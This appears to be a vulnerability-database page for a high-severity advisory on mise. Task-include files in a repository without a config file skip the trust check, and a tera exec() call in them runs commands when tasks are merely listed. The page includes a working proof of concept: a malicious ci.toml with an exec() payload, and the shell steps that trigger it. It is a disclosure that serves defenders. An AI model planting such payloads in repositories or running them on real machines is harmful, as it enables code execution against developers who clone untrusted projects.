CVE-2026-55441High· 8.6▾ TwilightMise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 47.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 4.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.2%
mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task
Trust is enforced only inside config-file parsing:
src/config/config_file/mise_toml.rs:276 — MiseToml::from_str → trust_check(path)?src/config/config_file/tool_versions.rs:62 — .tool-versions parser → trust_check(&path)?src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context,
which walk every directory from CWD up to root. For each directory, configs_at_root
returns the parsed (trusted) configs rooted there; if there is no config in the
directory, mise falls back to the default task-include list resolved relative to that
directory and loads whatever it finds — with no trust check:
src/config/mod.rs (load_tasks_in_dir, ~2586):
let (includes, resolve_dir) = configs
.iter()
.find_map(|cf| match cf.task_config_includes() { … })
.transpose()?
.unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
let paths = … expand_task_include(&resolve_dir, include);
for p in paths {
let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
…
}
}
default_task_includes() (src/config/mod.rs:1825):
vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]
load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check
and renders each task:
let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec()
Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera
instance is built with get_tera(Some(config_root)):
let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}
get_tera (src/tera.rs:407) registers the command-executing functions:
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}
So a tera {{ exec(command='…') }} placed in any rendered task field
(description, dir, shell, sources, aliases, depends, tools, …) of a TOML
task file — or in a #MISE description="…" header of an executable script task
(Task::from_path) — executes when the task is merely loaded for listing, with no
trust prompt. exec() is not gated by experimental (default experimental = false).
Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a
pristine HOME so nothing is pre-trusted.
Repo layout :
malicious-repo/
└── mise-tasks/
└── ci.toml
mise-tasks/ci.toml:
[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"
Trigger (any of these; a victim who has mise activate set up hits the last one by just
pressing Tab to complete a task name):
export HOME="$(mktemp -d)" # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks # or: mise task ls / mise run / mise tasks --usage
output:
test
and the side effect :
miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux
mise < 2026.6.4Upgrade to a patched release:
mise 2026.6.4Connected by shared product, vendor, weakness, or advisory.
CVE-2026-55448Medium· 6.3Mise's local credential_command executes untrusted config
CVE-2026-33646Critical· 9.6Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)
CVE-2026-54557Medium· 5.5mise HTTP backend uses raw version path for install symlink destination
CVE-2018-13374Medium· 4.3A Improper Access Control in Fortinet FortiOS 6.0.2, 5.6.7 and before, FortiADC 6.1.0, 6.0.0 to 6.0.1, 5.4.0 to 5.4.4 allows attacker to obtain the LDAP server login credentials configured in FortiGate via pointing a LDAP server connecti…
CVE-2018-11138Critical· 9.8The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by anonymous users and can be abused to execute arbitrary commands on the system.
CVE-2020-3167High· 7.8A vulnerability in the CLI of Cisco FXOS Software and Cisco UCS Manager Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system (OS)